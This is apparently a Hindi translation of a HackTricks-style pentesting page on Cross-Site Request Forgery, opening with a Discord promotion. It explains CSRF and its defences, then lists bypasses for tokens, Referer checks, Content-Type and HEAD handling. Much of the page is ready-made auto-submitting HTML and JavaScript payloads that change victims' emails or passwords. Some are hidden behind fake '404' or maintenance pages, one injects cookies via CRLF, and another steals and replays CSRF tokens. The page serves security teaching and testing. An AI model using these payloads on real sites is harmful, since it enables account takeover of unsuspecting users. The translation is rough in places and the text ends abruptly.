HackenProof Discord सर्वर में शामिल होकर अनुभवी हैकर्स और बग बाउंटी हंटर्स के साथ संवाद करें!
हैकिंग इंसाइट्स
उस सामग्री के साथ जुड़ें जो हैकिंग के रोमांच और चुनौतियों में डूबती है
रियल-टाइम हैक समाचार
तेजी से बदलती हैकिंग दुनिया के साथ अप-टू-डेट रहें न्यूज़ और इंसाइट्स के माध्यम से
नवीनतम घोषणाएं
नवीनतम बग बाउंटी लॉन्च और महत्वपूर्ण प्लेटफॉर्म अपडेट के साथ जागरूक रहें
हमारे साथ जुड़ेंDiscord और आज ही शीर्ष हैकर्स के साथ सहयोग करना शुरू करें!
Cross-Site Request Forgery (CSRF) का विवरण
Cross-Site Request Forgery (CSRF) एक प्रकार की सुरक्षा दोष है जो वेब एप्लिकेशनों में पाया जाता है। यह आक्रमण करने वाले को अनजान उपयोगकर्ताओं के नाम पर क्रियाएँ करने की संभावना देता है जिनके प्रमाणीकृत सत्र का शोषण किया जाता है। यह हमला तब किया जाता है जब एक उपयोगकर्ता, जो एक पीड़ित के प्लेटफ़ॉर्म में लॉग इन है, एक दुर्भाग्यपूर्ण साइट पर जाता है। इस साइट ने फिर पीड़ित के खाते के लिए अनुरोधों को ट्रिगर किया है जैसे कि जावास्क्रिप्ट को क्रियान्वित करना, फॉर्म सबमिट करना, या छवियों को लाना।
CSRF हमले के लिए पूर्वापेक्षाएँ
CSRF दोष का शोधन करने के लिए कई शर्तों को पूरा किया जाना चाहिए:
मूल्यवान क्रिया की पहचान: हमलावादी को एक क्रिया की पहचान करनी चाहिए जैसे कि उपयोगकर्ता का पासवर्ड बदलना, ईमेल बदलना, या प्रिविलेज उच्चाधिकारित करना।
सत्र प्रबंधन: उपयोगकर्ता का सत्र केवल कुकीज़ या HTTP बेसिक प्रमाणीकरण हेडर के माध्यम से प्रबंधित होना चाहिए, क्योंकि इस उद्देश्य के लिए अन्य हेडर में खेल नहीं सकता।
अपूर्वाकालिक पैरामीटरों की अभाव: अनियंत्रित पैरामीटरों को शामिल नहीं किया जाना चाहिए, क्योंकि वे हमले को रोक सकते हैं।
त्वरित जांच
आप Burp में अनुरोध को कैप्चर कर सकते हैं और CSRF सुरक्षा की जांच करने के लिए ब्राउज़र से टेस्ट करने के लिए आप Copy as fetch पर क्लिक कर सकते हैं और अनुरोध की जांच कर सकते हैं:
CSRF के खिलाफ बचाव
कई उपाय किए जा सकते हैं जो CSRF हमलों के खिलाफ सुरक्षा प्रदान करने के लिए लागू किए जा सकते हैं:
उपयोगकर्ता सत्यापन: उपयोगकर्ता के पासवर्ड पूछना या कैप्चा हल करना उपयोगकर्ता की इच्छा की पुष्टि कर सकता है।
रेफरर या उत्पत्ति हेडर्स की जांच: इन हेडर्स की मान्यता सत्यापित करने से अनुरोध आवश्यक स्रोतों से आ रहे हैं यह सुनिश्चित करने में मदद कर सकती है। हालांकि, URL का सावधानीपूर्वक तैयार किया जा सकता है जैसे:
http://mal.net?orig=http://example.com (URL विश्वसनीय URL के साथ समाप्त होता है)
http://example.com.mal.net (URL विश्वसनीय URL के साथ शुरू होता है)
पैरामीटर नामों को संशोधित करना: POST या GET अनुरोधों में पैरामीटरों के नामों को बदलना स्वचालित हमलों को रोकने में मदद कर सकता है।
CSRF टोकन: प्रत्येक सत्र में एक अद्वितीय CSRF टोकन शामिल करना और इस टोकन की आवश्यकता होने पर उसे उपयोग में लाने से CSRF का जोखिम काफी कम हो सकता है। टोकन की प्रभावकारिता को CORS के प्रयोग से बढ़ाया जा सकता है।
इन रक्षाओं को समझना और लागू करना वेब एप्लिकेशनों की सुरक्षा और पूर्णता बनाए रखने के लिए महत्वपूर्ण है।
रक्षाओं को उलटने
POST से GET तक
शायद वह फॉर्म जिसे आप दुरुपयोग करना चाहते हैं, एक CSRF टोकन के साथ POST अनुरोध भेजने के लिए तैयार है लेकिन, आपको जांच करनी चाहिए कि क्या एक GET भी मान्य है और यदि जब आप एक GET अनुरोध भेजते हैं तो CSRF टोकन अब भी मान्य है या नहीं।
टोकन की कमी
एप्लिकेशनें शायद टोकनों की मान्यता सत्यापित करने के लिए एक तंत्र को लागू कर सकती हैं जब वे मौजूद होते हैं। हालांकि, एक सुरक्षा दोष उत्पन्न होता है अगर टोकन अनुपस्थित होने पर सत्यापन को पूरी तरह से छोड़ दिया जाता है। हमलावादी इसे उपयोग करके इस सत्यापन प्रक्रिया को टाल सकत
<html><!-- CSRF Proof of Concept - generated by Burp Suite Professional --><body><script>history.pushState('','','/')</script><formaction="https://example.com/my-account/change-email"method="POST"><inputtype="hidden"name="email"value="asd@asd.asd" /><inputtype="hidden"name="csrf"value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" /><inputtype="submit"value="Submit request" /></form><img src="https://example.com/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" onerror="document.forms[0].submit();"/>
</body></html>
ध्यान दें कि यदि csrf टोकन सत्र कुकी से संबंधित है तो यह हमला काम नहीं करेगा क्योंकि आपको पीड़ित को अपना सत्र सेट करने की आवश्यकता होगी, और इसलिए आप खुद पर हमला कर रहे होंगे।
Content-Type बदलें
इस के अनुसार प्रीफ्लाइट अनुरोधों से बचने के लिए POST विधि का उपयोग करते समय ये स्वीकृत Content-Type मान हैं:
application/x-www-form-urlencoded
multipart/form-data
text/plain
हालांकि, ध्यान दें कि सर्वर का तर्क भिन्न हो सकता है जिस पर Content-Type का उपयोग किया जाता है, इसलिए आपको उल्लिखित मानों की कोशिश करनी चाहिए और अन्य जैसे application/json,text/xml, application/xml.
उदाहरण (यहाँ से लिया गया है) JSON डेटा को text/plain के रूप में भेजने का:
JSON डेटा के लिए प्रीफ्लाइट अनुरोधों को बाइपास करना
JSON डेटा को POST अनुरोध के माध्यम से भेजने का प्रयास करते समय, HTML फॉर्म में Content-Type: application/json का उपयोग सीधे रूप से संभव नहीं है। उसी तरह, इस सामग्री प्रकार को भेजने के लिए XMLHttpRequest का उपयोग करने पर एक प्रीफ्लाइट अनुरोध प्रारंभ होता है। फिर भी, इस सीमा को अनदेखा करने और जांचने के लिए कुछ रणनीतियाँ हो सकती हैं कि क्या सर्वर JSON डेटा को Content-Type के अपरिपक्व होने के बावजूद प्रसंस्करण करता है:
वैकल्पिक सामग्री प्रकार का उपयोग करें: फॉर्म में enctype="text/plain" सेट करके Content-Type: text/plain या Content-Type: application/x-www-form-urlencoded का उपयोग करें। यह दृष्टिकोण परीक्षण करता है कि पीछे की ओर का सर्वर Content-Type के बावजूद डेटा का उपयोग करता है या नहीं।
सामग्री प्रकार में परिवर्तन करें: प्रीफ्लाइट अनुरोध से बचने के लिए और सर्वर को सामग्री को JSON के रूप में मान्य करने की सुनिश्चित करने के लिए, आप Content-Type: text/plain; application/json के साथ डेटा भेज सकते हैं। यह एक प्रीफ्लाइट अनुरोध को ट्रिगर नहीं करता है लेकिन यदि सर्वर application/json स्वीकार करने के लिए कॉन्फ़िगर किया गया है तो सही ढंग से प्रसंस्कृत हो सकता है।
SWF फ्लैश फ़ाइल उपयोग: एक कम प्रचलित लेकिन संभावनाशील विधि शामिल है जिसमें ऐसी प्रतिबंधों को बाइपास करने के लिए SWF फ्लैश फ़ाइल का उपयोग किया जाता है। इस तकनीक की गहन समझ के लिए, इस पोस्ट का संदर्भ देखें।
रेफरर / मूल जांच बाइपास
रेफरर हेडर से बचें
एप्लिकेशन्स केवल तब 'Referer' हेडर को मान्य कर सकते हैं जब यह मौजूद हो। इस हेडर को भेजने से ब्राउज़र को रोकने के लिए, निम्नलिखित HTML मेटा टैग का उपयोग किया जा सकता है:
<metaname="referrer"content="never">
यह सुनिश्चित करता है कि 'Referer' हेडर छोड़ दिया जाता है, कुछ एप्लिकेशन में मान्यता की जांचों को छलने की संभावना है।
सर्वर के डोमेन नाम को URL में सेट करने के लिए जिस URL में Referrer पैरामीटर के भीतर भेजा जाएगा, आप यह कर सकते हैं:
<html><!-- Referrer policy needed to send the qury parameter in the referrer --><head><metaname="referrer"content="unsafe-url"></head><body><script>history.pushState('','','/')</script><formaction="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email"method="POST"><inputtype="hidden"name="email"value="asd@asd.asd" /><inputtype="submit"value="Submit request" /></form><script>// You need to set this or the domain won't appear in the query of the referer headerhistory.pushState("","","?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net")document.forms[0].submit();</script></body></html>
HEAD method bypass
पहला हिस्सा इस CTF व्रिटअप में व्याख्या की गई है कि Oak का सोर्स कोड, एक राउटर HEAD रिक्वेस्ट्स को GET रिक्वेस्ट्स के रूप में हैंडल करने के लिए सेट किया गया है जिसमें कोई प्रतिक्रिया बॉडी नहीं है - एक सामान्य उपाय जो Oak के लिए अद्वितीय नहीं है। HEAD रिक्वेस्ट्स के लिए एक विशिष्ट हैंडलर की बजाय, वे सिर्फ GET हैंडलर को देते हैं लेकिन ऐप बस प्रतिक्रिया बॉडी को हटा देता है।
इसलिए, अगर एक GET रिक्वेस्ट पर प्रतिबंध लगाया गया है, तो आप एक HEAD रिक्वेस्ट भेज सकते हैं जो एक GET रिक्वेस्ट के रूप में प्रसंस्कृत किया जाएगा।
शोषण उदाहरण
CSRF टोकन को बाहर निकालना
अगर एक CSRF टोकन का उपयोग रक्षा के रूप में हो रहा है तो आप एक XSS व्यक्तित्व या एक Dangling Markup व्यक्तित्व का दुरुपयोग करके इसे बाहर निकालने की कोशिश कर सकते हैं।
HTML टैग्स का उपयोग करके GET
<imgsrc="http://google.es?param=VALUE"style="display:none" /><h1>404 - Page not found</h1>The URL you are requesting is no longer available
अन्य HTML5 टैग जो स्वचालित रूप से GET अनुरोध भेजने के लिए उपयोग किए जा सकते हैं:
<html><!-- CSRF PoC - generated by Burp Suite Professional --><body><script>history.pushState('','','/')</script><formmethod="GET"action="https://victim.net/email/change-email"><inputtype="hidden"name="email"value="some@email.com" /><inputtype="submit"value="Submit request" /></form><script>document.forms[0].submit();</script></body></html>
फॉर्म POST अनुरोध
<html><body><script>history.pushState('','','/')</script><formmethod="POST"action="https://victim.net/email/change-email"id="csrfform"><input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" /> <!-- Way 1 to autosubmit -->
<inputtype="submit"value="Submit request" /><imgsrc=xonerror="csrfform.submit();" /> <!-- Way 2 to autosubmit --></form><script>document.forms[0].submit(); //Way 3 to autosubmit</script></body></html>
आईफ्रेम के माध्यम से फॉर्म पोस्ट अनुरोध
<!--The request is sent through the iframe withuot reloading the page--><html><body><iframestyle="display:none"name="csrfframe"></iframe><formmethod="POST"action="/change-email"id="csrfform"target="csrfframe"><inputtype="hidden"name="email"value="some@email.com"autofocusonfocus="csrfform.submit();" /><inputtype="submit"value="Submit request" /></form><script>document.forms[0].submit();</script></body></html>
एजैक्स पोस्ट अनुरोध
<script>var xh;if (window.XMLHttpRequest){// code for IE7+, Firefox, Chrome, Opera, Safarixh=newXMLHttpRequest();}else{// code for IE6, IE5xh=newActiveXObject("Microsoft.XMLHTTP");}xh.withCredentials =true;xh.open("POST","http://challenge01.root-me.org/web-client/ch22/?action=profile");xh.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); //to send proper header info (optional, but good to have as it may sometimes not work without this)
xh.send("username=abcd&status=on");</script><script>//JQuery version$.ajax({type:"POST",url:"https://google.com",data:"param=value¶m2=value2"})</script>
<--! expl.html --><bodyonload="envia()"><formmethod="POST"id="formulario"action="http://aplicacion.example.com/cambia_pwd.php"><inputtype="text"id="pwd"name="pwd"value="otra nueva"></form><body><script>functionenvia(){document.getElementById("formulario").submit();}</script><!-- public.html --><iframesrc="2-1.html"style="position:absolute;top:-5000"></iframe><h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
CSRF टोकन चुराएं और एक POST अनुरोध भेजें
functionsubmitFormWithTokenJS(token) {var xhr =newXMLHttpRequest();xhr.open("POST",POST_URL,true);xhr.withCredentials =true;// Send the proper header information along with the requestxhr.setRequestHeader("Content-type","application/x-www-form-urlencoded");// This is for debugging and can be removedxhr.onreadystatechange=function() {if(xhr.readyState ===XMLHttpRequest.DONE&&xhr.status ===200) {//console.log(xhr.responseText);}}xhr.send("token="+ token +"&otherparama=heyyyy");}functiongetTokenJS() {var xhr =newXMLHttpRequest();// This tels it to return it as a HTML documentxhr.responseType ="document";xhr.withCredentials =true;// true on the end of here makes the call asynchronousxhr.open("GET",GET_URL,true);xhr.onload=function (e) {if (xhr.readyState ===XMLHttpRequest.DONE&&xhr.status ===200) {// Get the document from the responsepage =xhr.response// Get the input elementinput =page.getElementById("token");// Show the token//console.log("The token is: " + input.value);// Use the token to submit the formsubmitFormWithTokenJS(input.value);}};// Make the requestxhr.send(null);}varGET_URL="http://google.com?param=VALUE"varPOST_URL="http://google.com?param=VALUE"getTokenJS();
CSRF टोकन चुराएं और एक आईफ्रेम, एक फॉर्म और एजेक्स का उपयोग करके एक पोस्ट अनुरोध भेजें
यह कोड एक CSRF टोकन का उपयोग करके लॉगिन फॉर्म को ब्रूट फोर्स करने के लिए उपयोग किया जा सकता है (यह भी X-Forwarded-For हेडर का उपयोग कर रहा है ताकि संभावित आईपी ब्लैकलिस्टिंग को बायपास करने का प्रयास कर सके):